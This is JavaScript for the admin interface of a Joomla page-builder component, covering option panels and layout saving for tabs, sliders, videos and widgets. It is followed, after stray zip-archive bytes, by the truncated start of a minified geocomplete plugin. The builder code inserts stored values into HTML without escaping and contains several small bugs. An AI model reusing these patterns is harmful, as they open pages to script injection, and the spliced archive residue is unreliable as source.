			jQuery(this).append(html);
			jQuery('#myTab a').click(function (e) {
				e.preventDefault();
				jQuery(this).tab('show');
			});
		}
	});
}

function TabsDesign(sele,data){
	jQuery(sele).find('.sortable-tabitem').each(function(index){
		for(i=0;i<data[index].content.length;i++){
			var html="";
			html+="<li data-type='"+arrayType[data[index].content[i].type].type+"' class='ui-state-highlight btn ui-draggable "+arrayType[data[index].content[i].type].class+"' style='display:block;' data='"+JSON.stringify(data[index].content[i])+"'>";
				html+="<div class='st-header-title'>";
					html+="<span class='st-name'>"+arrayType[data[index].content[i].type].name+"</span> ";
					html+="<span href='#' class='st-close' title='Close'><i class='icon-cancel-circle'></i></span> ";
					html+="<span href='#st-navigation' data-type='"+arrayType[data[index].content[i].type].type+"' title='Edit' class='st-edit stmodal'><i class='icon-cog-2'></i></span>";
				html+="</div>";
			html+="</li>";
			jQuery(this).append(html);
		}
	});
}

//////////////////////////////// Button ////////////////////////////////////
function appendDataColumn(sele){
	if(!sele.hasClass("st-column-container")){
		arr = [];
		sele.each(function(index){
			arr.push(jQuery.parseJSON(jQuery(this).attr("data")));
		});
		return arr;
	}else{
		data = jQuery.parseJSON(jQuery(this).attr("data"));
		jQuery(this).find('.sortable-column').each(function(){
			var a = appendDataColumn(jQuery(this).find('>li'));
			data.content[index].content.push(a);
		});
		return data;
	}
}

function buttonsave(){
	jQuery("#toolbar-apply button").click(function(){
		jQuery('#system-message-container').html("");
		name=jQuery("#toolbar #inputNamepage").val();
		if(name==""){
			alert("Name Page is not empty !");
			jQuery("#toolbar #inputNamepage").focus();
			return false;
		}
		arr = [];
		jQuery('#st-page>li').each(function(){
			if(jQuery(this).hasClass("st-column-container")){
				data = jQuery.parseJSON(jQuery(this).attr("data"));
				jQuery(this).find('.sortable-column').each(function(index){
					var a = [];
					jQuery(this).find('>li').each(function(){
						if(jQuery(this).attr("data-type")=='tabs'){
							jQuery(this).attr("data",saveTabOption(jQuery(this),jQuery.parseJSON(jQuery(this).attr("data"))));
						}
						console.log(jQuery(this).attr("data"));
						a.push(jQuery.parseJSON(jQuery(this).attr("data")));
					});
					data.content[index].content = a;
				});
				jQuery(this).attr("data",JSON.stringify(data));
			}else if(jQuery(this).hasClass("st-tabs-container")){
				data = jQuery.parseJSON(jQuery(this).attr("data"));
				jQuery(this).attr("data",saveTabOption(jQuery(this),data));
			}
			arr.push(jQuery(this).attr("data"));
		});
		json = JSON.stringify(arr);
		jQuery.ajax({
			type:"POST",
			url:"index.php?option=com_stpagebuilder&task=page.stSave&tmpl=component",
			data:{data:json,id:jQuery('#stid').val(),name:name},
			success:function(response){
				//jQuery('#st-debug').html(response);
				jQuery('#system-message-container').html('<div><button type="button" class="close" data-dismiss="alert">×</button><div class="alert alert-success"><h4 class="alert-heading">Message</h4><p>'+response+'</p></div>');
			}
		});
	});
}

function saveTabOption(sele,data){
	sele.find('.sortable-tabitem').each(function(index){
		a = [];
		jQuery(this).find('>li').each(function(){
			a.push(jQuery.parseJSON(jQuery(this).attr("data")));
		});
		data.content[index].content = a;
	});
	return JSON.stringify(data);
}

////////////////////////////////  Item //////////////////////////////////////

// Get Option Tabs
function getTabsOption(data){
	content ="<div class='st-nav-title'><i class='icon-box'></i> Tabs<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<label>Position:</label>";
		content+="<div class='row-fluid'><select class='st-tabposition'>";
			content+='<option value="top">Top</option>';
			content+='<option value="bottom">Bottom</option>';
			content+='<option value="left">Left</option>';
			content+='<option value="right">Right</option>';
		content+="</select></div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('.st-navigation .st-tabposition [value="'+data.attr.position+'"]').attr("selected","selected");
	jQuery('.st-nav-option button.btn-primary').click(function(){
		saveTabs(data);
	});
}

function saveTabs(data){
	//data = {"type":"tabs","content":[],"attr":{"position":jQuery('.st-nav-option .st-tabposition').val()}};
	console.log(data);
	data.attr.position=jQuery('.st-nav-option .st-tabposition').val();
	var json = JSON.stringify(data);
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}

//End Tab Option


// Get Option Module
function getModuleOption(data){
	content ="<div class='st-nav-title'><i class='icon-qrcode-2'></i> Module<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<div class='row-fluid'>";
			content+="<div class='span12'>";
				content+="<label>Choose:</label>";
				content+="<div class='st-listmodule'></div>";
			content+="</div>";
		content+="</div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('.st-nav-option button.btn-primary').click(function(){
		saveModule();
	});
}

function saveModule(){
	data = {"type":"moduleid","content":"","attr":{"id":jQuery('.st-nav-option #jform_modules').val()}};
	var json = JSON.stringify(data);
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}

// End Option Module

// get Option Gallery
function getGalleryOption(data){
	content ="<div class='st-nav-title'>Gallery</div>";
	content+="<div class='st-nav-option'>";
		content+="<div class='row-fluid'>";
			content+="<div class='span12'>";
				content+="<label>Link Images</label>";
				content+="<textarea rows='6' class='st-linkimage span12'>";
				for(i=0;i<data.content.length;i++){
					content+=data.content[i].content+"\n";
				}
				content+="</textarea>";
			content+="</div>";
		content+="</div>";
		content+="<div class='row-fluid'>";
			content+="<div class='span12'>";
				content+="<label>Title Images</label>";
				content+="<textarea rows='6' class='st-title span12'>";
				for(i=0;i<data.content.length;i++){
					content+=data.content[i].attr.title+"\n";
				}
				content+="</textarea>";
			content+="</div>";
		content+="</div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);

	jQuery('.st-nav-option button.btn-primary').click(function(){
		saveGallery();
	});
}

function saveGallery(){
	var links = jQuery('.st-navigation .st-nav-option .st-linkimage').val().split("\n");
	for(i=0;i<links.length;i++){
		if(links[i]==""){
			links.splice(i,1);
		}
	}
	if(links[(links.length)-1]=="") links.pop();
	var titles = jQuery('.st-navigation .st-nav-option .st-title').val().split("\n");
	for(i=0;i<titles.length;i++){
		if(titles[i]=="") titles.splice(i,1);
	}
	if(titles[(titles.length)-1]=="") titles.pop();
	data = {"type":"gallery","content":[],"attr":{}};
	for(i=0;i<links.length;i++){
		arr = {"type":"item_gallery","content":"","attr":{}};
		if(i<titles.length){
			arr.attr.title=titles[i];
		}else{
			arr.attr.title="";
		}
		arr.content=links[i];
		data.content.push(arr);
	}
	var json = JSON.stringify(data);
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}
//  End Gallery Option

// get Option Vimeo
function getVimeoOption(data){
	content ="<div class='st-nav-title'><i class='icon-vimeo'></i> Vimeo<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<label>Link Vimeo</label>";
		content+="<div class='row-fluid'><input type='text' class='st-linkvideo span12' value='"+data.content+"' placeholder='Link Vimeo'></div>";
		content+="<label>Width</label>";
		content+="<div class='row-fluid'><input type='text' class='st-widthvideo span12' value='"+data.attr.width+"' placeholder='Width'></div>";
		content+="<label>Width</label>";
		content+="<div class='row-fluid'><input type='text' class='st-heightvideo span12' value='"+data.attr.height+"' placeholder='Height'></div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('.st-nav-option button.btn-primary').click(function(){
		saveVimeo();
	});
}

function saveVimeo(){
	data = {"type":"vimeo","content":"","attr":{}};
	data.content=jQuery('.st-navigation .st-nav-option .st-linkvideo').val();
	data.attr.width=jQuery('.st-navigation .st-nav-option .st-widthvideo').val();
	data.attr.height=jQuery('.st-navigation .st-nav-option .st-heightvideo').val();
	var json = JSON.stringify(data);
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}
//  End Vimeo Option

// get Option Youtube
function getYoutubeOption(data){
	content ="<div class='st-nav-title'><i class='icon-youtube'></i> Youtube<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
			content+="<label>Link Youtube</label>";
			content+="<div class='row-fluid'><input type='text' class='st-linkvideo span12' value='"+data.content+"' placeholder='Link Youtube'></div>";
			content+="<label>Width</label>";
			content+="<div class='row-fluid'><input type='text' class='st-widthvideo span12' value='"+data.attr.width+"' placeholder='Width'><div>";
			content+="<label>Width</label>";
			content+="<div class='row-fluid'><input type='text' class='st-heightvideo span12' value='"+data.attr.height+"' placeholder='Height'></div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('.st-nav-option button.btn-primary').click(function(){
		saveYoutube();
	});
}

function saveYoutube(){
	data = {"type":"youtube","content":"","attr":{}};
	data.content=jQuery('.st-navigation .st-nav-option .st-linkvideo').val();
	data.attr.width=jQuery('.st-navigation .st-nav-option .st-widthvideo').val();
	data.attr.height=jQuery('.st-navigation .st-nav-option .st-heightvideo').val();
	var json = JSON.stringify(data);
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}
//  End Youtube Option

// get Option Message Box
function getMessageBoxOption(data){
	content ="<div class='st-nav-title'><i class='icon-exclamation-sign'></i> Message Box<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<div class='row-fluid'>";
			content+="<label>Type Alert</label>";
			content+="<div class='row-fluid'><select class='st-type span12'>";
			content+='<option value="warning">Warning</option>';
			content+='<option value="info">Info</option>';
			content+='<option value="error">Error</option>';
			content+='<option value="success">Success</option>';
			content+="</select><div>";
			content+="<label> Title Alert </label>";
			content+="<div class='row-fluid'><textarea rows='1' class='st-title_alert span12'>";
				content+=data.attr.title;
			content+="</textarea></div>";
			content+="<label>Content</label>";
			content+="<div class='row-fluid'><textarea rows='6' class='st-content_alert span12'>";
			     content+=data.content;
			content+="</textarea></div>";
		content+="</div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('.st-navigation .st-type [value="'+data.attr.type+'"]').attr("selected","selected");
	jQuery('.st-nav-option button.btn-primary').click(function(){
		saveMessageBox();
	});
}

function saveMessageBox(){
	var type_alert = jQuery('.st-navigation .st-nav-option .st-type').val();
	var title_alert = jQuery('.st-navigation .st-nav-option .st-title_alert').val();
	var content_alert = jQuery('.st-navigation .st-nav-option .st-content_alert').val();
	data = {"type":"alert","content":content_alert,"attr":{"type":type_alert,"title":title_alert}};
	var json = JSON.stringify(data);
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}
//  End Message Box Option

////////////////////////////////  Article Recent //////////////////////////////////////

// get Option Article Recent
function getArticleRecentOption(data){
	content ="<div class='st-nav-title'><i class='icon-newspaper'></i> Article Recent<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<label>Extension</label>";
        content+="<div class='row-fluid'><select class='st-extension span12'>"; 
			content+='<option value="com_content">content</option>';
			content+='<option value="com_k2">k2</option>';
		content+="</select></div>";
		content+="<label>Category</label>";
		content+="<div class='row-fluid st-category'></div>";
		content+="<label>Style</label>";
        content+="<div class='row-fluid'><select class='st-style span12'>"; 
		content+='<option value="style-1">style-1</option>';
		content+='<option value="style-2">style-2</option>';
		content+="</select></div>";
		content+="<div class='st-isVisble'><label>Title Article recent</label>";
		content+="<div class='row-fluid'><input type='text' rows='1' class='st-title_article span12' value="+data.attr.title+" /></div>";
        content+="<div class='row-fluid'><textarea rows='6' class='st-content_article span12'>";
			content+=data.content;
        content+="</textarea></div></div>";
		content+="<label>Visible</label>";
        content+="<div class='row-fluid'><select class='st-visible span12'>"; 
			content+='<option value="1">1</option>';
			content+='<option value="2">2</option>';
			content+='<option value="3">3</option>';
			content+='<option value="4">4</option>';
			content+='<option value="6">6</option>';
		content+="</select></div>";
		content+="<label>Scroll</label>";
        content+="<div class='row-fluid'><select class='st-scroll span12'>"; 
			content+='<option value="1">1</option>';
			content+='<option value="2">2</option>';
			content+='<option value="3">3</option>';
			content+='<option value="4">4</option>';
		content+="</select></div>";
		content+="<label>Auto</label>";
        content+="<div class='row-fluid'><select class='st-auto span12'>"; 
			content+='<option value="2">Yes</option>';
			content+='<option value="0">No</option>';
		content+="</select></div>";
		content+="<label>Animation</label>";
        content+="<div class='row-fluid'><input type='number' class='st-animation span12' value="+data.attr.animation+" /></div>"; 
		content+="<label>Limit</label>";
        content+="<div class='row-fluid'><input type='number' class='st-limit span12' value="+data.attr.limit+" /></div>"; 
		content+="<label>type</label>";
        content+="<div class='row-fluid'><select class='st-type span12'>"; 
			content+='<option value="inside">inside</option>';
			content+='<option value="outside">outside</option>';
		content+="</select></div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);

	jQuery('.st-navigation .st-extension option[value="'+data.attr.extension+'"]').attr("selected","selected");
	jQuery('.st-navigation .st-style option[value="'+data.attr.style+'"]').attr("selected","selected");
	jQuery('.st-navigation .st-type option[value="'+data.attr.type+'"]').attr("selected","selected");
	if(jQuery('.st-navigation .st-style').val()=='style-1'){
		jQuery('.st-navigation .st-isVisble').show();
	}else{
		jQuery('.st-navigation .st-isVisble').hide();
	}
	jQuery('.st-navigation .st-style').change(function(){
		if(jQuery('.st-navigation .st-style').val()=='style-1'){
			jQuery('.st-navigation .st-isVisble').show();
		}else{
			jQuery('.st-navigation .st-isVisble').hide();
		}
	});
	jQuery('.st-navigation .st-extension').change(function(){
		if(jQuery('.st-navigation .st-extension').val()=='com_k2'){
			jQuery('.st-navigation #st-element-category').appendTo("#st-element");
			jQuery('#st-element #st-element-k2category').appendTo(".st-navigation .st-category");
		}else{
			jQuery('.st-navigation #st-element-k2category').appendTo("#st-element");
			jQuery('#st-element #st-element-category').appendTo(".st-navigation .st-category");
		}
	});

	jQuery('.st-nav-option button.btn-primary').click(function(){
		saveArticleRecent();
	});
}

function saveArticleRecent(){
	var title_article = jQuery('.st-navigation .st-nav-option .st-title_article').val();
	var content = jQuery('.st-navigation .st-nav-option .st-content_article').val();
	var extension = jQuery('.st-navigation .st-nav-option .st-extension').val();
	var category_id = jQuery('.st-navigation .st-category select').val();
	var visible = jQuery('.st-navigation .st-nav-option .st-visible').val();
	var scroll = jQuery('.st-navigation .st-nav-option .st-scroll').val();
	var auto = jQuery('.st-navigation .st-nav-option .st-auto').val();
	var animation = jQuery('.st-navigation .st-nav-option .st-animation').val();
	var limit = jQuery('.st-navigation .st-nav-option .st-limit').val();
	var type = jQuery('.st-navigation .st-nav-option .st-type').val();
	var style = jQuery('.st-navigation .st-nav-option .st-style').val();

	data = {"type":"recent_article","content":content,"attr":{"title":title_article,"extension":extension,"category_id":category_id,"auto":auto,"type":type,
             "style":style,"limit":limit,"animation":animation,"scroll":scroll,"visible":visible}};
	var json = JSON.stringify(data);
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}	

//get option Article box
function getArticleBoxOption(data){
	content ="<div class='st-nav-title'><i class='icon-frame'></i> Article Box<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<label>Extension</label>";
		content+=
			"<div class='row-fluid'><select class='st-extension span12'>" + 
			  "<option value='com_k2'>com_k2</option><option value='com_content'>com_content</option>" + 
			"</select></div>";
		content+="<label>Articles</label>";
		content+="<div class='row-fluid st-article'></div>";
		content+="<label>Type</label>";
		content+=
			"<div class='row-fluid'><select class='st-type span12'>" + 
			  "<option value='outside'>Outside</option>" + 
			  "<option value='inside' selected='selected'>Inside</option>" + 
			"</select></div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('.st-navigation .st-extension option[value="'+data.attr.extension+'"]').attr("selected","selected");
	jQuery('.st-navigation .st-type option[value="'+data.attr.type+'"]').attr("selected","selected");
	jQuery('.st-navigation .st-extension').change(function(){
		if(jQuery('.st-navigation .st-extension').val()=='com_k2'){
			jQuery('.st-navigation #st-element-contents').appendTo("#st-element");
			jQuery('#st-element #st-element-k2contents').appendTo(".st-navigation .st-article");
		}else{
			jQuery('.st-navigation #st-element-k2contents').appendTo("#st-element");
			jQuery('#st-element #st-element-contents').appendTo(".st-navigation .st-article");
		}
	});

	jQuery('.st-nav-option button.btn-primary').click(function(){
		saveArticleBox();
	});
}

function saveArticleBox(){
	var extension = jQuery('.st-navigation .st-nav-option .st-extension').val();
	var article = jQuery('.st-navigation .st-nav-option .st-article select').val();
	var type = jQuery('.st-navigation .st-nav-option .st-type').val();
	data = {"type":"article_box","content":"","attr":{"extension":extension,"article_id":article,"type":type}};
	var json = JSON.stringify(data);
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}
//End Article box

//Get Option Divider
function getDividerOption(data){
	content ="<div class='st-nav-title'><i class='icon-minus-2'></i> Divider<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<label>Style</label>";
		content+="<div class='row-fluid'><select class='st-style span12'>"; 
			content+='<option value="none">None</option>';
			content+='<option value="border">Border</option>';
		content+="</select></div>";
		content+="<label>Margin</label>";
		content+="<div class='row-fluid'><input type='text' class='st-margin span12' value='"+data.attr.margin+"' placeholder='Margin'><div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('.st-navigation .st-style option[value="'+data.attr.style+'"]').attr("selected","selected");
	jQuery('.st-navigation .st-margin').val(data.attr.margin);
	jQuery('.st-nav-option button.btn-primary').click(function(){
		saveDivider();
	});
}

function saveDivider(){
	var style = jQuery('.st-navigation .st-style').val();
	var margin = jQuery('.st-navigation .st-margin').val();
	data = {"type":"divider","content":" ","attr":{"style":style,"margin":margin}};
	var json = JSON.stringify(data);
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}

//End Divider

// get Option flickr
function getFlickrOption(data){
    content ="<div class='st-nav-title'><i class='icon-flickr'></i> Flickr<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
    content+="<div class='st-nav-option'>";
        content+="<label>Id Images flickr - link </label>";
        content+="<div class='row-fluid'><input type='text' class='st-linkid span12' value='"+data.attr.id+"' placeholder='Link id image'></div>";

        content+="<label>Limit</label>";
        content+="<div class='row-fluid'><input type='text' class='limit span12' value='"+data.attr.limit+"' placeholder='limit'></div>";
     
        content+="<label>Width</label>";
        content+="<div class='row-fluid'><input type='text' class='st-widthimage span12' value='"+data.attr.width+"' placeholder='Width'></div>";              
          
        content+="<label>Height</label>";
        content+="<div class='row-fluid'><input type='text' class='st-heightimgae span12' value='"+data.attr.height+"' placeholder='Height'></div>";              
       
        content+="<div class='st-button-group'>";
        content+="<button class='btn btn-primary'>Save</button>";
        content+="<button class='btn btn-cancel'>Cancel</button>";
        content+="</div>";
    content+="</div>";
    jQuery('.st-navigation').html(content);
    jQuery('.st-nav-option button.btn').click(function(){
        saveFlickr();
    });
}

function saveFlickr(){
    data = {"type":"flickr","content":"","attr":{}};
    data.attr.width=jQuery('.st-navigation .st-nav-option .st-widthimage').val();
    data.attr.height=jQuery('.st-navigation .st-nav-option .st-heightimgae').val();
    data.attr.id=jQuery('.st-navigation .st-nav-option .st-linkid').val();
    data.attr.limit=jQuery('.st-navigation .st-nav-option .limit').val();
    var json = JSON.stringify(data);
    jQuery('#st-page li.st-focus').attr("data",json);
    jQuery.stbox.close();
}

//End Flickr

// get Option like box 
function getFb_likbeboxOption(data){
	content ="<div class='st-nav-title'><i class='icon-facebook-4'></i> Facebook likebox<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<label>Link page facebook</label>";
		content+="<div class='row-fluid'><input type='text' size='40' class='st-linkpage span12' value='"+data.content+"' placeholder='Link page'></div>";
		content+="<label>Width</label>";
		content+="<div class='row-fluid'><input type='text' class='st-widthbox span12' value='"+data.attr.width+"' placeholder='Width'></div>";
		content+="<label>Height</label>";
		content+="<div class='row-fluid'><input type='text' class='st-heightbox span12' value='"+data.attr.height+"' placeholder='Height'></div>";
		content+="<label>Show faces</label>";
        content+="<div class='row-fluid'><select class='st-showfaces'>"; 
			if(data.attr.showfaces=='true'){
			content+='<option value="true">Yes</option>';
			content+='<option value="false">No</option>';
		     }else{
                 content+='<option value="false">No</option>';
                 content+='<option value="true">Yes</option>';
		     }
		content+="</select></div>";
        content+="<label>Show header</label>";
        content+="<div class='row-fluid'><select class='st-showheader'>"; 
		if(data.attr.showheader=='true'){
			content+='<option value="true">Yes</option>';
			content+='<option value="false">No</option>';
		     }else{
                 content+='<option value="false">No</option>';
                 content+='<option value="true">Yes</option>';
		     }
		content+="</select></div>";
		 content+="<label>Show stream </label>";
        content+="<div class='row-fluid'><select class='st-showstream'>"; 
			if(data.attr.showstream=='true'){
			content+='<option value="true">Yes</option>';
			content+='<option value="false">No</option>';
		     }else{
                 content+='<option value="false">No</option>';
                 content+='<option value="true">Yes</option>';
		     }
		content+="</select></div>";
		 content+="<label>Show border</label>";
        content+="<div class='row-fluid'><select class='st-showborder'>"; 
           if(data.attr.showborder=='true'){
			content+='<option value="true">Yes</option>';
			content+='<option value="false">No</option>';
		     }else{
                 content+='<option value="false">No</option>';
                 content+='<option value="true">Yes</option>';
		     }
		content+="</select></div>";
		 content+="<label>Color scheme</label>";
        content+="<div class='row-fluid'><select class='st-colorScheme'>"; 
            if(data.attr.colorscheme=='light'){
			content+='<option value="light">light</option>';
			content+='<option value="dark">dark</option>';
		    }else{
		    	content+='<option value="dark">dark</option>';
		    	content+='<option value="light">light</option>';
		    }
		content+="</select></div>";
		 content+="<label>Language</label>";
        content+="<div class='row-fluid'><select class='st-language'>"; 
			content+='<option value="en_US">US</option>';
			content+='<option value="ko_KR">Korea</option>';
		    content+='<option value="fr_FR">France</option>';
	        content+='<option value="ja_JP">Japanese</option>';
	        content+='<option value="it_IT">Italian</option>';
			content+='<option value="vi_VN">VietNam</option>';
		content+="</select></div>";
		content+="<div class='st-button-group'>";
			content+="<button class='btn btn-primary'>Save</button>";
			content+="<button class='btn btn-cancel'>Cancel</button>";
			content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('.st-nav-option button.btn-primary').click(function(){
		saveLikebox();
	});
}

function saveLikebox(){
	data = {"type":"fb_likebox","content":"","attr":{}};
	data.content=jQuery('.st-navigation .st-nav-option .st-linkpage').val();
	data.attr.width=jQuery('.st-navigation .st-nav-option .st-widthbox').val();
	data.attr.height=jQuery('.st-navigation .st-nav-option .st-heightbox').val();
	data.attr.showfaces=jQuery('.st-navigation .st-nav-option .st-showfaces').val();
	data.attr.showheader=jQuery('.st-navigation .st-nav-option .st-showheader').val();
	data.attr.showstream=jQuery('.st-navigation .st-nav-option .st-showstream').val();
	data.attr.showborder=jQuery('.st-navigation .st-nav-option .st-showborder').val();
	data.attr.colorscheme=jQuery('.st-navigation .st-nav-option .st-colorScheme').val();
	data.attr.language=jQuery('.st-navigation .st-nav-option .st-language').val();
	var json = JSON.stringify(data);
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}
//  End likebox Option
// get Option Slider
function getSliderOption(data){
	content ="<div class='st-nav-title'><i class='icon-image'></i> Slider<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<label>Link http image</label>";
		content+="<div class='row-fluid'><textarea rows='6' class='st-linkimage span12'>";
		for(i=0;i<data.content.length;i++){
			content+=data.content[i].content+"\n";
		}
		content+="</textarea></div>";
		
		content+="<label>Title Images</label>";
		content+="<div class='row-fluid'><textarea rows='6' class='st-title span12'>";
		for(i=0;i<data.content.length;i++){
			content+=data.content[i].attr.title+"\n";
		}
		content+="</textarea></div>";
		content+="<label>Interval</label>";
		content+="<div class='row-fluid'><input type='text' class='st-interval span12' value='"+data.attr.interval+"' placeholder='Interval'/></div>";
		
        content+="<label>Auto</label>";
        content+="<div class='row-fluid'><select class='st-auto'>"; 
       if(data.attr.auto=='true'){
			content+='<option value="true">true</option>';
			content+='<option value="false">false</option>';
	    }else {
	        content+='<option value="false">false</option>';
	 	    content+='<option value="true">true</option>';
		}
		content+="</select></div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);

	jQuery('.st-nav-option button.btn-primary').click(function(){
		saveSlider();
	});
}

function saveSlider(){
	var links = jQuery('.st-navigation .st-nav-option .st-linkimage').val().split("\n");
	for(i=0;i<links.length;i++){
		if(links[i]==""){
			links.splice(i,1);
		}
	}
	if(links[(links.length)-1]=="") links.pop();
	var titles = jQuery('.st-navigation .st-nav-option .st-title').val().split("\n");
	for(i=0;i<titles.length;i++){
		if(titles[i]=="") titles.splice(i,1);
	}
	if(titles[(titles.length)-1]=="") titles.pop();
	data = {"type":"slider","content":[],"attr":{"interval":"","auto":""}};
	for(i=0;i<links.length;i++){
		arr = {"type":"item_gallery","content":"","attr":{}};
		if(i<titles.length){
			arr.attr.title=titles[i];
		}else{
			arr.attr.title="";
		}
		arr.content=links[i];
		data.content.push(arr);
	}
	data.attr.interval=jQuery('.st-navigation .st-nav-option .st-interval').val();
	data.attr.auto=jQuery('.st-navigation .st-nav-option .st-auto').val();
	var json = JSON.stringify(data);
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}
//  End Slider OptionPK!^dS-bluetheme/assets/js/jquery.geocomplete.min.jsnu&1i�/**
 * jQuery Geocoding and Places Autocomplete Plugin - V 1.4
 *
 * @author Martin Kleppe <kleppe@ubilabs.net>, 2012
 * @author Ubilabs http://ubilabs.net, 2012
 * @license MIT License <http://www.opensource.org/licenses/mit-license.php>
 */// # $.geocomplete()
// ## jQuery Geocoding and Places Autocomplete Plugin - V 1.4
//
// * https://github.com/ubilabs/geocomplete/
// * by Martin Kleppe <kleppe@ubilabs.net>
(function(a,b,c,d){function h(b,c){this.options=a.extend(!0,{},e,c),this.input=b,this.$input=a(b),this._defaults=e,this._name="geocomplete",this.init()}var e={bounds:!0,country:null,map:!1,details:!1,detailsAttribute:"name",location:!1,mapOptions:{zoom:14,scrollwheel:!1,mapTypeId:"roadmap"},markerOptions:{draggable:!1},maxZoom:16,types:["geocode"],blur:!1},f="street_address route intersection political country administrative_area_level_1 administrative_area_level_2 administrative_area_level_3 colloquial_area locality sublocality neighborhood premise subpremise postal_code natural_feature airport park point_of_interest post_box street_number floor room lat lng viewport location formatted_address location_type bounds".split(" "),g="id url website vicinity reference name rating international_phone_number icon formatted_phone_number".split(" ");a.extend(h.prototype,{init:function(){this.initMap(),this.initMarker(),this.initGeocoder(),this.initDetails(),this.initLocation()},initMap:function(){if(this.options.map){if("function"==typeof this.options.map.setCenter)return this.map=this.options.map,d;this.map=new google.maps.Map(a(this.options.map)[0],this.options.mapOptions),google.maps.event.addListener(this.map,"click",a.proxy(this.mapClicked,this))}},initMarker:function(){if(this.map){var b=a.extend(this.options.markerOptions,{map:this.map});b.disabled||(this.marker=new google.maps.Marker(b),google.maps.event.addListener(this.marker,"dragend",a.proxy(this.markerDragged,this)))}},initGeocoder:function(){var b={types:this.options.types,bounds:this.options.bounds===!0?null:this.options.bounds,componentRestrictions:this.options.componentRestrictions};this.options.country&&(b.componentRestrictions={country:this.options.country}),this.autocomplete=new google.maps.places.Autocomplete(this.input,b),this.geocoder=new google.maps.Geocoder,this.map&&this.options.bounds===!0&&this.autocomplete.bindTo("bounds",this.map),google.maps.event.addListener(this.autocomplete,"place_changed",a.proxy(this.placeChanged,this)),this.$input.keypress(function(a){return 13===a.keyCode?!1:d}),this.$input.bind("geocode",a.proxy(function(){this.find()},this)),this.options.blur===!0&&this.$input.blur(a.proxy(function(){this.find()},this))},initDetails:function(){function e(a){d[a]=b.find("["+c+"="+a+"]")}if(this.options.details){var b=a(this.options.details),c=this.options.detailsAttribute,d={};a.each(f,function(a,b){e(b),e(b+"_short")}),a.each(g,function(a,b){e(b)}),this.$details=b,this.details=d}},initLocation:function(){var b,a=this.options.location;if(a){if("string"==typeof a)return this.find(a),d;a instanceof Array&&(b=new google.maps.LatLng(a[0],a[1])),a instanceof 